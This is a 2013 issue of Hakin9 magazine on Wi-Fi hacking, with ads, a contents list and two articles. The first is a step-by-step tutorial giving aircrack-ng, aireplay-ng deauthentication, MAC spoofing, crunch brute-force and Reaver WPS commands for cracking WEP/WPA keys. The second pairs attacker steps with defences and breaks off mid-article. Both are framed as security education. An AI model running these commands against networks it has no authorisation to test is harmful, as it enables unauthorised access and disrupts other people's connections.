HAKIN9

Issue 1/2013 (6) ISSN 1733-7186

180 PAGES

Wi-Fi Hacking

Wi Fi

Introduction to Wireless Hacking Methods

Wi-Fi Security Testing with Kali Linux on a Raspberry Pi

Security Through Obscurity: How to Hack Wireless Access Point

Stealing the Wireless Connection

PLUS

An Interview with Cristian Critelli
Level 3 Escalation Engineer at Riverbed Technology Inc. and Part of the EMEA TAC Support Team

ADVANCED VMWARE SECURITY

SECURING THE CLOUD WITH VMWARE VSPHERE 5

Improved Design! Improved Availability!
Improved Security!

STABLE VSPHERE ENVIRONMENT!

Attend the VMware Advanced Security with one of our experts!

VMTRAINING
A Global Training Solutions Inc. Company

Upcoming Class Dates:

Vancouver, BC	4/08/2013
London, England	4/15/2013
Rockville, MD	4/29/2013
Copenhagen, Denmark	5/13/2013
Ottawa, ON	5/27/2013
Des Moines, IA	6/03/2013
ONLINE	6/03/2013
San Diego, CA	6/24/2013
Rotenburg, Germany	6/24/2013
Veenendaal, Netherlands	7/01/2013

- NEW VMTRAINING COURSES -

Cloud Security, Audit and Compliance Ultimate Bootcamp

VMware vSphere 5.0 Advanced Administration & VCAP5-DCA Prep

CVSE®
Certified Virtualization Security Expert

Call VMTraining Today! +1 (815) 313-4472 or visit www.VMTraining.net

CVSE (Certified Virtualization Security Expert) is a service mark of Global Training Solutions, Inc. and/or its affiliates in the United States, Canada, and other countries, and may not be used without written permission. VMware is a registered trademark of VMware, Inc. in the United States and/or other countries. All other trademarks are the property of their respective owners. Global Training Solutions is not associated with any product or vendor in this advertisement and/or course.

Atola Insight

That's all you need for data recovery.

Atola Technology offers *Atola Insight* – the only data recovery device that covers the entire data recovery process: *in-depth* **HDD diagnostics**, **firmware recovery**, **HDD duplication**, and **file recovery**. It is like a whole data recovery Lab in one Tool.

This product is the best choice for seasoned professionals as well as start-up data recovery companies.

Emphasized features at a glance:

- Automatic in-depth diagnostic of all hard drive components
- Automatic firmware recovery and ATA password removal
- Very fast imaging of damaged drives
- Imaging by heads
- Case management
- Real time current monitor
- Firmware area backup system
- Serial port and power control
- Write protection switch

Atola TECHNOLOGY

Visit atola.com for details

Hakin9 team

Editor in Chief: Ewelina Nazarczuk
ewelina.nazarczuk@hakin9.org

Editorial Advisory Board: John Webb, Marco Hermans, Gareth Watters, Peter Harmsen, Dhawal Desai

Proofreaders: Jeff Smith, Krzysztof Samborski

Special thanks to our Beta testers and Proofreaders who helped us with this issue. Our magazine would not exist without your assistance and expertise.

Publisher: Paweł Marciniak

CEO: Ewa Dudzic
ewa.dudzic@hakin9.org

Product Manager: Krzysztof Samborski
krzysztof.samborski@hakin9.org

Production Director: Andrzej Kuca
andrzej.kuca@hakin9.org

Marketing Director: Ewelina Nazarczuk
ewelina.nazarczuk@hakin9.org

DTP: Ireneusz Pogroszewski
Art Director: Ireneusz Pogroszewski
ireneusz.pogroszewski@software.com.pl

Publisher: Hakin9 Media sp. z o.o. SK
02-676 Warszawa, ul. Postępu 17d
Phone: 1 917 338 3631
www.hakin9.org/en

Whilst every effort has been made to ensure the highest quality of the magazine, the editors make no warranty, expressed or implied, concerning the results of the content's usage. All trademarks presented in the magazine were used for informative purposes only.

All rights to trade marks presented in the magazine are reserved by the companies which own them.

DISCLAIMER!
The techniques described in our magazine may be used in private, local networks only. The editors hold no responsibility for the misuse of the techniques presented or any data loss.

Dear Readers,

I would like to introduce a new issue of The Best of Hakin9. This compendium is a huge load of knowledge on Hacking Wi-Fi. It is the guidebook for those who would like to know the basics, and dive into deep waters of Wi-Fi hacking techniques.

The main part is focused on the well known packet analyzer "Wireshark." We are sure you will find something interesting there. For some of you it will be a great repetition, and for the rest an occassion to learn about wireshark and other sniffing tools. What is more, it is a compendium you will find educative and informative on various issues like; Network and Data protection, or Spyware in business. With this issue we wanted to give you a big set of information in one piece, which you can reach for whenever you want.

In this issue you will find sections as Hacking Wireless Networks, Wireshark Basics, Wireless Security, Wireshark Advanced, Cybersecurity and Extra.

Enjoy your time with Hakin9!

Regards,
Ewelina Nazarczuk
Hakin9 Magazine Junior Product Manager

and Hakin9 Team

HACKING WIRELESS NETWORKS

Hacking Wireless in 2013 06
Terrance Stachowski, CISSP, L|PT

Hacking Wi-Fi Networks 12
Danny Wong, CISSP, CISA, CEH, PMP, ITIL, MCT, MCSE, MCITP, MCTS

Security Through Obscurity: How to Hack Wireless Access Point 16
Bamidele Ajayi, OCP, MCTS, MCITP EA, CISA, CISM

Wireshark – Hacking Wi-Fi Tool 24
MI1

Introduction to Wireless Hacking Methods 30
Alexander Heid, Co-founder and President of HackMiami

WIRESHARK BASICS

Wireshark Not Just a Network Administration Tool 36
Arun Chauchan, Joint Director CIRT Navy at Indian Navy

Wireshark – Sharks on the Wire 42
Patrick Mark Preuss, Network Engineer

Wireshark: The Network Packet Hacker or Analyzer 50
Anand Singh

Wireshark Overview 54
Nitish Mehta, Information Security & Cyber Crime Consultant

WIRELESS SECURITY

You Are Here a Guide to Network Scanning 58
Court Graham, CISSP, CEH, GCIH, GSEC, MCSE

Wi-Fi Combat Zone: Wireshark versus the Neighbors 62
Bob Bosen, Founder of Secure Computing

Wi-Fi Security Testing with Kali Linux on a Raspberry Pi 70
Daniel Dieterle, Security Researcher at CyberArms Computer Security

Using Wireshark to Analyze a Wireless Protocol 76
LI Hai, Associate Professor of Beijing Institute of Technology

The Revolving Door of Wi-Fi Security 84
Jonathan Wiggs, Data Architect at NetMotion Wireless

Capturing Wi-Fi Traffic with Wireshark 88
Steve Williams, CISSP, GCIH, ACMA

An Introduction to the Rise (and Fall) of Wi-Fi Networks 96
Alessio Garofalo, System Engineer at Green Man Gaming, IT Security Analyst at Hacktive Security

Decoding and Decrypting Network Packets with Wireshark 102
Andrei Emeltchenko, Linux SW Engineer at Intel Corporation

State of Security in the App Economy: Mobile Apps Under Attack 106
Jukka Alanen, vice president, Arxan Technologies

WIRESHARK ADVANCED

Network Analysis On Storage Area Network Using Wireshark 114
Sembiante Massimiliano, IT Security and Risk Specialist at UBS Bank

Deep Packet Inspection with Wireshark 118
David J. Dodd, GIAC, IAM & IEM, Security +

Listening to a Voice over IP (VoIP) Conversation Using Wireshark 122
Luciano Ferrari, Information Security at Kimberly-Clark

Wireshark/LUA 126
Jörg Kalsbach, Senior Consultant at JPrise GmbH and Information Technology and Services Consultant

Tracing ContikiOs Based IoT Communications over Cooja Simulations with Wireshark Using Wireshark with Cooja simulator 130
Pedro Moreno-Sanchez, M.Sc. student at the University of Murcia, Spain and Rogelio Martinez-Perez, B.Cs. in Computer Science at the University of Murcia, Spain

CYBERSECURITY

Integration of Cyberwarfareand Cyberdeterrence Strategies into the U.S. CONOPS Plan to Maximize Responsible Control and Effectiveness by the U. S. National Command Authorities 136
William F. Slater, III, CISSP, SSCP, CISA, MSCE 2000: Security, ITIL Foundation v3, MCTIP, Certified Data Center Professional

Open Networks – Stealing the Connection 148
Michael Christensen, CISSP, CSSLP, CRISC, CCM ISO:22301, CPSA, ISTQB, PRINCE2

Social Engineering The Art of Data Mining 154
Terrance J. Stachowski, CISSP, L|PT

Using Wireshark and Other Tools to as an Aid in Cyberwarfare and Cybercrime 160
William F. Slater III,

Spyware Your Business Cannot Afford It 170
Louis Corra, Owner of NEPA Computer Consulting, Net Solution Specialist at Network Solutions

EXTRA

An Interview with Cristian Critelli 172
Ewelina Nazarczuk

Hacking Wireless in 2013

This article is a simple how-to guide for hacking wireless networks using BackTrack 5 R3, or Kali – Linux Penetration Testing Distributions offered by Offensive Security. The information provided in this article will aid you in testing the security of your wireless network to determine if your vulnerable to wireless intruders. The following information is for educational purposes only; never use these techniques to access any network which you do not own, unless you have the explicit written permission from the owner of the network.

This article is a basic tutorial to educate readers on the process of cracking wireless security such as WEP, WPS, WPA, and WPA2 keys utilizing BackTrack 5 R3 or Kali, and various tools such as the Aircrack suite, Reaver, and Fern-Wi-Fi-Cracker. This information is intended for educational purposes, and should only be used on approved networks.

Getting Started, What you'll need:

- A computer.
- These actions will require that you utilize a supported wireless card which can be programmed for packet injections – note that not all wireless cards support this option, so you may have to perform a little research to determine which card is right for you. An example of a popular external wireless adapter which works for these actions is the ALFA AWUS036H.
- You will need a copy of BackTrack 5 R3, which can be downloaded at: *http://www.backtrack-linux.org/* – or a copy of Kali, which can be downloaded at: *http://www.kali.org/*. The tutorial section of those sites will walk you through downloading and installing each operating system if you don't already know how to do so. If you are upgrading from BackTrack 5 R2 to R3, you don't have to start over from scratch, you can update by running the following commands (Backtrack, 2012):
    - apt-get update && apt-get dist-upgrade
- When the dist-upgrade is completed, you can install the new tools which have been added to R3. There are two options for doing this, one for 32-bit tools, and one for 64-bit tools, ensure that you choose the right ones.
- For 32-bit tools, run the following command from a command line:
    - apt-get install libcrafter blueranger dbd inundator intersect mercury cutycapt trix-d00r artemisa rifiuti2 netgear-telnetenable jboss-autopwn deblaze sakis3g voiphoney apache-users phrasendrescher kautilya manglefizz rainbowcrack rainbowcrack-mt lynis-audit spooftooph wifihoney twofi truecrack uberharvest acccheck statsprocessor iphoneanalyzer jad javasnoop mitmproxy ewizard multimac netsniff-ng smbexec websploit dnmap johnny unix-privesc-check sslcaudit dhcpig intercepter-ng u3-pwn binwalk laudanum wifite tnscmd10g bluepot dotdotpwn subterfuge jigsaw urlcrazy creddump android-sdk apktool ded dex2jar droidbox smali termineter bbqsql htexploit smartphone-pentest-framework fern-wifi-cracker powersploit webhandler
- For the 64-bit tools, run the following command from a command line:
    - apt-get install libcrafter blueranger dbd inundator intersect mercury cutycapt trix-

d00r rifiuti2 netgear-telnetenable jboss-autopwn deblaze sakis3g voiphoney apache-users phrasendrescher kautilya mangle-fizz rainbowcrack rainbowcrack-mt lynis-audit spooftooph wifihoney twofi truecrack acccheck statsprocessor iphoneanalyzer jad javasnoop mitmproxy ewizard multimac netsniff-ng smbexec websploit dnmap johnny unix-privesc-check sslcaudit dhcpig intercepter-ng u3-pwn binwalk laudanum wifite tnscmd10g bluepot dotdotpwn subterfuge jigsaw urlcrazy creddump android-sdk apktool ded dex2jar droidbox smali termineter multiforcer bbqsql htexploit smartphone-pentest-framework fern-wifi-cracker powersploit webhandler

- You will also need a password list (also known as a dictionary, or word list); there are some extensive repositories available online. If you don't have a password list, some can be found at the following sites:
  - *http://downloads.skullsecurity.org/passwords/*
  - *ftp://ftp.openwall.com/pub/wordlists/*
  - *http://ftp.sunet.se/pub/security/tools/net/Openwall/wordlists/*
  - *http://gdataonline.com/downloads/GDict/*
  - *http://www.theargon.com/achilles/wordlists/*
  - *http://www.vulnerabilityassessment.co.uk/passwords.htm*
  - *http://www.word-list.com/*

*Note: For the purpose of this article, assume that BackTrack 5 R3 and Kali are interchangeable.

Cracking WEP / WPA using the Airmon suite

This section will utilize the following tools/commands to crack WEP and WPA: BackTrack 5 R3, terminal window (Konsole), ifconfig, Wicd Network Manager, `airmon-ng`, aircrack-ng, macchanger, airodump-ng, aireplay-ng.

Cracking WEP

- The first thing you'll need to do is boot into BackTrack. Press "Enter" at the "boot" command prompt to continue booting. At the Mode selection screen, leave it as "BackTrack Text – Default Boot Text Mode" and press "Enter."
- If it is your first time running BackTrack, or you haven't made any changes to the default accounts, the login name is *root*, and the password is *toor*.
- At the command prompt type "startx" to bring up the BackTrack graphical user interface (GUI).
- Once you are logged in and have entered the GUI, you'll want to ensure that BackTrack can see your wireless card, there are three very simple ways to do this:
  - Click on the 'Application Launcher' button (The Dragon icon on the taskbar in the bottom left of your screen in KDE), navigate to 'Internet,' and select 'Wicd Network Manager.' Click the 'Refresh' button, and if you see wireless networks (Figure 1), then BackTrack is able to see your wireless.
  - Open a terminal (Konsole) window by either clicking on the terminal icon (found on taskbar next to Dragon icon – or by navigating to `\Applications\Accessories\Terminal`), and type `ifconfig` you should see `wlan0` or equivalent (Figure 2).
  - Simply type `airmon-ng` which will display compatible wireless cards (Figure 3). Note: if you have a different interface than `wlan0`, replace `wlan0` with that whenever `wlan0` is mentioned in this tutorial. You could prob-

Figure 1. *Wireless Networks*

Figure 2. *Wlan0*

ably get away with just the `airmon-ng` command, but I've supplied you with the other examples to help you familiarize yourself with the different locations you can use to look for wireless adapters in BackTrack.

- After confirming that `airmon-ng` can in fact see an adapter, you'll want to bring the interface down by typing the following command: `airmon-ng stop wlan0` followed by `ifconfig wlan0 down` (Figure 4).
  The reason we are doing this is in preparation for step 6, where you will be changing the MAC address of your wireless card. The MAC address is the hard-coded identity of your wireless device, changing it allows you to hide the true identity of your wireless card. Two quick ways to see the true MAC address of your wireless card:
  - Type `ifconfig -a` find `wlan0` and look to the right of "HWaddr" for the six pairs of numbers, that's your MAC address (Figure 5).
  - Type `macchanger -s wlan0` (Figure 6)
- To change the mac address, enter the following command: `macchanger -m 00:11:33:55:77:99 wlan0` or whatever configuration you'd like (Figure 7).
- Enable your wireless card by typing: `ifconfig wlan0 up` Start `airmon-ng` by typing: `airmon-ng start wlan0`

```
root@bt:~# airmon-ng

Interface       Chipset         Driver

mon0            Realtek RTL8187L        rtl8187 - [phy0]
wlan0           Realtek RTL8187L        rtl8187 - [phy0]
```

Figure 3. *Compatible Wireless Cards*

```
root@bt:~# airmon-ng stop wlan0

Interface       Chipset         Driver

mon0            Realtek RTL8187L        rtl8187 - [phy0]
wlan0           Realtek RTL8187L        rtl8187 - [phy0]
                                (monitor mode disabled)

root@bt:~# ifconfig wlan0 down
```

Figure 4. *Ifconfig wlan0 down*

```
HWaddr 00:00:22:a5:a3:a2
```

Figure 5. *MAC addres*

```
root@bt:~# macchanger -s wlan0
Current MAC: 00:00:22:a5:a3:a2 (Visual Technology Inc.)
```

Figure 6. *Macchanger -s wlan0*

- Next you'll use airodump to discover wireless networks that are accessible close by. Type `airodump-ng wlan0` A list of accessible networks will dynamically populate the screen. The following information is displayed (Figure 9):
  - BSSID = MAC address of access points
  - CH (Channel) = Channel number
  - Station = MAC address of each associated station searching for an access point to connect to. Station = client.
- When you have found the network you are interested in attacking, press Ctrl+C to stop scanning.
- Next you will use airodump to capture data for the selected BSSID to a file. The options utilized are: `-c` to select the channel number, and `-w` to set the name of the capture file. So, it will look something like: Figure 10.
  A window will appear showing the output from this command, leave this window open and open a second terminal window.
- In the new terminal window, run the aireplay-ng command to try and force an association, use the following syntax: `aireplay-ng -0 1 -a 00:24:01:00:00:00 -h 00:11:33:55:77:99 -e backtrack wlan0` The `-0` option equals the number of deauthentications which will be sent to target. The `-a` option sets the Access Point

```
root@bt:~# macchanger -m 00:11:33:55:77:99 wlan0
Current MAC: 00:00:22:a5:a3:a2 (Visual Technology Inc.)
Faked MAC:   00:11:33:55:77:99 (Siemens Austria Simea)
```

Figure 7. *Macchanger -m 00:11:33:55:77:99 wlan0*

```
root@bt:~# airmon-ng start wlan0
Interface       Chipset         Driver

mon0            Realtek RTL8187L        rtl8187 - [phy0]
wlan0           Realtek RTL8187L        rtl8187 - [phy0]
                                (monitor mode enabled on mon1)
```

Figure 8. *airmon-ng Start wlan0*

```
root : airodump-ng
File  Edit  View  Bookmarks  Settings  Help

CH  4 ][ Elapsed: 28 s ][ 2013-02-24 21:30

BSSID              PWR  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID

00:1A:70: 00:00:00  -24       30        15    0   3  54e  WPA2 CCMP   PSK  NETWORK
00:1D:19: 00:00:00  -24       41        48    0   3  54e  WPA2 CCMP   PSK  NETWORK
C0:25:06: 00:00:00  -62       26         0    0  11  54e  WPA2 CCMP   PSK  FRITZ!Box Fon NETWORK
C0:25:06: 00:00:00  -63       27         0    0  11  54e  WPA2 CCMP   PSK  NETWORK
00:1D:19: 00:00:00  -65       15         0    0   2  54e  WPA2 CCMP   PSK  EasyBox-NETWORK
24:65:11: 00:00:00  -66       15         0    0   1  54e  WPA2 CCMP   PSK  FRITZ!Box NETWORK
BC:05:43: 00:00:00  -65        5         0    0   1  54e  WPA2 CCMP   PSK  FRITZ!Box Fon NETWORK
00:1D:19: 00:00:00  -69        5         0    0   2  54e  WPA2 CCMP   PSK  WLAN-NETWORK
00:1F:3F: 00:00:00  -70        7         0    0  10  54e  WPA2 CCMP   PSK  <length:  0>

BSSID              STATION            PWR   Rate    Lost    Frames  Probe

(not associated)   B4:11:5B: 00:00:00  -41    0 - 1      0        26  NETWORK
(not associated)   28:6A:BA: 00:00:00  -60    0 - 1      0         9  FRITZ!NETWORK
00:1A:70: 00:00:00 64:A3:CB: 00:00:00  -34    0 - 54     0         8
00:1D:19: 00:00:00 AC:81:12: 00:00:00  -26    0 - 1e     0        31
00:1D:19: 00:00:00 00:1A:70: 00:00:00  -70    0 - 2e     4        13
24:65:11: 00:00:00 60:33:4B: 00:00:00  -65    0 - 1      0         2
```

Figure 9. *List of Accessible Networks*

```
root@bt:~# airodump-ng -c 3 -w attackdata --bssid 00:1A:70:00:00:00 wlan0
```

Figure 10. *Using Airodump to Capture Data for the Selected BSSID to a File*

MAC address. the `-h` option sets the source MAC address, The `wlan0` is the replay interface you wish to perform the attack with.

- Now you need to send the router some traffic so you can try to capture some data. Using aireplay-ng again, type: `aireplay-ng -3 -b [BSSID] -h [your MAC address] [interface name];` it should look something like this: `aireplay-ng -3 -b 00:24:01:00:00:00 -h 00:11:33:55:77:99 wlan0`. The screen will show traffic occurring, wait a minute or so until you've gathered enough information to run the crack.
- To conclude, you want to run aircrack-ng to crack the WEP key. Type the following: `aircrack-ng -b 00:24:01:00:00:00 attackdata.cap` and let it run its course until the key is discovered.

Cracking WPA

Follow steps #1-10 listed above. If you cannot acquire the WPA handshake when capturing – i.e. if a client has not tried to authenticate since you started your monitoring, you can utilize aireplay-ng to deauthenticate the connection between a wireless client and the Access Point (do this in a separate window), buy running the following: `aireplay-ng -0 1 -a 00:11:33:22:44:66:55 -c 33:68:A3:11:22:FF mon0`.

What the above text means:

-0 = triggers aireplay to perform a deauthentication.
1 = the number of stations to deauthenticate.
-a = Set Access Point MAC address.
-c = Set destination MAC address.
<mon0> = the interface to perform the aireplay-ng command on.

After you have forced the session to reauthenticate, and have the dump saved in your working directory, perform the following command:

```
aircrack-ng -w wordlist.txt -b <bssid>
                wpacrack001.cap
```

Substitute `wpcrack001.cap` with whatever you named your .cap file, replace bssid with the correct bssid, and replace `wordlist.txt` with the name of your own word list.

If the above dictionary attack does not work, it may be possible to perform a non-dictionary brute-force attack with the following command: `./crunch 8 8 0123456789 abcdefghijklmnopqrstuvwxyz | aircrack-ng -e ESSID -w- wpacrack001.cap`.

It should be noted that cracking WEP with the above method is very effective and quite fast, but cracking WPA or WPA2 with above steps will have limited success, and will take some time to crack. Read on to learn better methods of cracking WPA and WPA2.

Cracking WPA / WPA2 and WPS with REAVER

This section will utilize the following tools/commands to crack WPA and WPA2: BackTrack 5 R3, terminal window (Konsole), `airmon-ng` and Reaver.

Reaver is a tool that takes advantage of a vulnerability in Wi-Fi Protected Setup (WPS), a feature found on many routers. WPS is designed to provide easy wireless setup, and contains a PIN number which is hard-coded to the router. Reaver exploits a vulnerability in these PINs which can uncover WPA and WPA2 passwords.

- Boot into BackTrack.
- Put your wireless card into monitor mode:

```
airmon-ng start wlan0
```

Replace `wlan0` with whatever your wireless device name is – likely it will be `mon0`.

Using airodump-ng, find the BSSID of the Access Point you want to crack.

```
airodump-ng wlan0
```

You should see a list of all the BSSIDs in range. When you find the one that you want to crack, press Ctrl+C to stop the list from scanning/refreshing. You should be looking for networks that have WPA or WPA2 listed in the ENC column.

Type the following command:

```
reaver -i <your interface> -b <bssid> -vv
```

For example, if your interface was `wlan0` and the BSSID was: `00:11:22:33:1F:1F` you would type: `reaver - i wlan0 -b 00:11:22:33:1F:1F -vv`.

Figure 11. *WEP Key Cracking*

Press enter to execute the command, and wait for Reaver to run its course. Reaver will perform a brute-force attack trying PINs on the router. This could take some time, up to 10 hours, so patience is required. Eventually it should uncover the WPS PIN number and the WPA pre-shared key (PSK).

Using Fern-WiFi-Cracker

Fern-WiFI-Cracker is a wireless hacking tool written in python. Unlike the other tools discussed up to this point, Fern provides a GUI for cracking wireless networks. When you execute Fern, it automatically runs aireplay-ng, airodump-ng, and aircrack-ng.

Access Fern by opening `\Backtrack\Exploitation Tools\Wireless Exploitation Tools\WLAN Exploitation\Fern-Wifi-Cracker`, or in Kali: `\Applications\Kali Linux\Wireless Attacks\Wireless Tools\fern-wifi-cracker` (Figure 12 and 13). Set your wireless interface (Figure 14).

Select the top button (Scan for Access Points) and it will begin the network scanning process (Figure 15).

Once it has completed scanning, the Wi-Fi WEP or WPA activation buttons will illuminate, depending on what networks are available to crack (Figure 16).

After you select one of the Wi-Fi buttons to begin, a dialog box will appear, select which network you wish to attack, and select the type of attack, then click on the "Wi-Fi Attack" button (Figure 17).

Allow Fern to run its course, it may take some time. Once the progress bar is 100%, Fern will begin aircrack in attempt to rack the Wi-Fi password. Once it has completed, the password will be shown in the bottom box (Figure 18).

Conclusion

As you can see, there's not a whole lot to breaking wireless encryption. Hopefully this quick hands-on

Figure 12. *Fern Access*

Figure 13. *Fern Accesss in Kali*

article will help you in your 2013 wireless security needs.

It is strongly suggested to utilize WPA2 and disable WPS for a stronger level of security, WEP can be broken in a matter of minutes, and WPS can be broken fairly easy as well.

Figure 14. *Wireless Interface*

Figure 15. *Network Scanning Process*

Figure 16. *Networks Available to Crack*

References

- BackTrack (2012). Upgrading from BackTrack 5 R2 to BackTrack 5 R3. Retrieved from: *http://www.backtrack-linux.org/backtrack/upgrade-from-backtrack-5-r2-to-backtrack-5-r3/*
- Kali Linux (2012). Retrieved from: *http://www.kali.org/*

TERRANCE STACHOWSKI

Terrance Stachowski is a defense contractor supporting the United States Air Force. He has fifteen years of IT experience, a M.S. in Cybersecurity from Bellevue University, and currently holds nineteen IT certifications, including the CISSP and L|PT. He specializes in IT Security, Penetration Testing, and Solaris Systems Engineering. He can be reached at terrance.ski@skeletonkeyss.com

Figure 17. *Selecting the Type of Attack*

Figure 18. *Password Shown in the Bottom Box*

Hacking Wi-Fi Networks

In an Enterprise Infrastructure where your Wi-Fi network is breached, you might imagine a situation where monitoring alerts goes off, SMS alerts are sent to your mobile, Intrusion Detection Systems sounds off and Intrusion Prevention Systems kicks in to lock down the perpetrator. Security team activates their well-defined security framework encompassing Security Incident Response and Handling which define the processes to Identify, Contain, Eradicate and Recover from the incident.

While some parts of the activity above are true, most parts are fictitious. The truth of the matter is that when an intrusion to your Wi-Fi network occurs, you are usually blind (with no visual indications) and deaf (with no SMS alerts) which will notify you of the event taking place.

What about Wi-Fi networks for Home, SOHO (Small Office / Home Office) and even SME (Small / Medium Enterprises)? Without an adequate budget to put in place all the bells and whistles of renowned security products, is prevention to malicious attacks possible?

The Attacker Modus Operandi and the Defenders Defenses (Figure 1).

The methodology which an attacker utilizes does not differ from any other mode of attack although the intention and objective may greatly differ from being a curious techie who is exploring his/her technical boundaries, a leecher who simply wants free access to internet to a black hat hacker who has the technical knowledge, skills and experience to do harm and damage.

Reconnaissance

Antagonist: However the case, it always starts with surveying and identifying places or targets which holds the highest potential of executing the attacks. This could be a playground, car park or public toilet with close proximity to the point of interest or it could even the company's front desk couch. The attacker might even use historically, the most primitive and yet the most effective tool which is simply asking around or otherwise known as social engineering.

Protagonist: Security folks of a corporate Wi-Fi network should perform due-diligence by surveying their own grounds and possibly implement

Figure 1. *Methodology from Certified Ethical Hacker (EC Council)*

Figure 2. *Scanning*

some levels of physical access restrictions. One of the most preferred and most effective method is to relocate the Wi-Fi access points and shift the network boundaries so that it would either get really low signal strength or absolute void rendering any attack impossible. Additional deterrence control point could include security guards to frequently and politely challenge the visitor's need for physical presence within the corporate vicinity.

Scanning

Antagonist: Next, the attacker will begin initial and detailed scanning of the target network by means of war driving, walking, cycling, climbing, or even standing still and pretending to be occupied by the surroundings. On that note, the surroundings might even contain war chalking symbol information for surveillance performed by other fellow attackers (Figure 2). All the while, the scanning equipment and software which the attacker is carrying is busy collecting and mapping the Wi-Fi network access points such as the:

- Brand and Model of the Wi-Fi access points
- Frequency Range and IEEE protocol standards (802.11a, b, g, n)
- SSID (Service Set Identifier) or otherwise known as the Network Name
- Type of security algorithm such as WEP (Wireless Encryption Protocol), WPA/2 (Wi-Fi Protected Access) for Personal or Enterprise, 802.1x (RADIUS/EAP)
- Type of encryption such as AES (Advanced Encryption Standard) or TKIP (Temporal Key Integrity Protocol)

The tools which are publically available to perform Wi-Fi scanning are staggering and the most commonly used and well supported applications are:

- Netstumbler also known as Network Stumbler (A network detector)
- Kismet (A network detector, packet sniffer, and intrusion detection system for 802.11 wireless LANs.)
- Aircrack-ng (A network detector, packet sniffer, WEP and WPA/WPA2-PSK cracker and analysis tool)

Protagonist: Unfortunately till date, there isn't any effective mechanism that can prevent malicious scanning of a Wi-Fi network since it would impede or interfere with genuine users.

WARNING

Once these information is gathered from all the passive surveillance and scanning activity, the next step is where the real crime begins. Active hacking or Network Penetration is a serious offence that in some countries could earn you a maximum penalty of life imprisonment. In all basic and normal common-sense, unless you have explicit written permission of the owner to conduct a penetration testing, you should never ever attempt to do this.

Gaining Access

Antagonist: Well, with the fair warning above, we will now drill down to the technical details. The usual objective of attack is to leverage on access to the internet for the case of home Wi-Fi invasion indicated by the green arrow. As for corporate based

Figure 3. *Reviewing the Data Collected from Scanning Above, the Following Sequence of Attacks can be Performed in a Chronological Order*

attacks, the objective would either be to perform a secondary attack on the public services such as the web farm as indicated by the orange arrow and in the case of home network, it is your personal computers and NAS storage devices or to initiate a corporate espionage by perform the secondary attacks to invade the internal networks as indicated by the red arrow (Figure 3).

- Antagonist: Should the brand of the Wi-Fi device be exposed, then the following attacks is highly appropriate.
  - Inject the list of known Factory Default passwords assuming that the administrator has not changed it will give you immediate control over the Wi-Fi device. The factory default password can be found on the equipment vendor's website.
  - Leverage and exploit on existing known vulnerabilities assuming that the device's firmware is not updated which in most cases is true. This information can be either found in the wild or from the Common Vulnerabilities and Exposures (CVE) website.

  Protagonist: Security folks should implement best practices to rename their device such that it does not suggest the brand or model of the Wi-Fi access point. It is also important to change the default passwords ta complex and unique password per Wi-Fi access point device. Additionally, at the end of the day, the operating system which powers up the device is still a software and security folks should upgrade the firmware whenever a vulnerability is identified by the vendors. Note that this is applicable even for home owners.
- Antagonist: Frequency and protocols information allows the attack to latch on the attack using the same network type wireless devices. The prevalent frequencies and protocols used are 802.11 b/g/n with 802.11a being the most unpopular choice mainly due to the incompatibility to the different frequencies 2.4 GHz and 5 GHz respectively. This information will help to use most optimal frequency to transmit and perform the attack.

  Protagonist: There are no best practices when it comes to configuring frequencies and protocols, it really boils down to economics. The purchased off the shelf devices are built with mainly 2 options which states 802.11b/g/n on 2.4 GHz and 802.11a on 5 GHz. The hypothetical speed advantage 802.11g has over 802.11a is achieving 54 Mbits/s within 27-75m range compared to 10m range respectively. With the advent of 802.11n, the speed boost has increased to hypothetically 600 Mbits/s with the right conditions thereby making it an obvious choice.
- Antagonist: If during the scanning, the SSID name was exposed, then that is really considered 50% of the battle won since you now have a targeted network and all you need is the passcode.

  Protagonist: However that sounds to be a normal thought process is really nothing more than a minor inconvenience for experienced attackers. A hidden SSID or otherwise known as a non-broadcasting Wi-Fi SSID is not really a security feature. As a matter of fact, tools such as Kismet or Aircrack will have that name found in no time at all. In most circumstances, it would still be the best practice to disable or hide your SSID even if it only serves as a minor deterrence.
- Antagonist: Knowing both the security algorithm and type of encryption is really to allow the attacker to configure the hacking tool so that it can transmit the hash codes in compliance with the protocol standards.

  Protagonist: Ultimately, the two most predominant mode of attack or passcode injection is still either using a dictionary or brute force attack. If the latter is used then the desire to break-in must be really strong since the time-taken for the attack to be successful really depends on the length of the passcode. For example, an eight character WPA-PSK passcode would equate to just above six quadrillion permutations. Even if you have top notch computing power for attack, the poor Wi-Fi device would probably crash and hang before you could get anywhere near the passcode through brute force.

A complete build-in maximum protection which a home user or small office user could lock down the Wi-Fi network is to leverage on the MAC Filtering feature which exists on all off-the-shelf Wi-Fi router devices. How it works is simple, for each and every device which is allowed to be connected to the network, the MAC address (Unique per Device) will be registered with the Wi-Fi router and unless there is a positive match, all unregistered devices will be denied access to connect. The only caveat to this protection is MAC Spoofing attacks which require the attacker can impersonate your registered MAC address.

As for an enterprise Wi-Fi network security enhancement, the addition of Radius Servers will greatly fortify the network from attacks. Radius servers with 802.1x Secure Wired/Wireless con-

nection policies are placed on the next hop which the Wi-Fi router can forward all Wi-Fi connection requests. The added security components which is required for connecting to a protected Wi-Fi network with Radius servers are the use of Smart Tokens with internal PKI (Public Key Infrastructure) certificates. These certificates are used for identity authentication and authorization and would be distributed through secured means to all authorized devices in the organization.

In my opinion, there could have been an additional mechanism which currently is not available on the market to deter a Wi-Fi network from being attacked. It is not a new method but I would believe it is an effective deterrence. In Windows Logon, if you enter the wrong password in a consecutive attempts, the screen would froze for a few minutes before returning to allow new inputs. In Exchange SMTP connections, a Tarpit threshold can be set to artificially delay any response if the connection is sending high volumes of spam or unwelcome messages. This is a rather desirable feature which could have been injected to purposefully delay malicious Wi-Fi connections. With any delaying function from a Wi-Fi network device, attackers are less willing to wait for an extended attacking timeframe and therefore would less likely to attack these devices.

Maintaining Access

Antagonist: With any luck, once the attacker have gain access to the Wi-Fi device, the very first thing they would do is to create an account which they can re-use without going through the entire hacking sequence. Subsequently, depending on the original objective, the attacker would either start using the internet services (most common) or move on and perform attach on the secondary target.

Protagonist: It would be prudent for the defender to conduct regular checks created accounts on their Wi-Fi routers and should there contain an entry which they have not created, proceed to disconnect the device, delete the account and reset the password. Remember that the longer the password and the more unique the password, the harder it is for the attackers to break through.

Covering Tracks

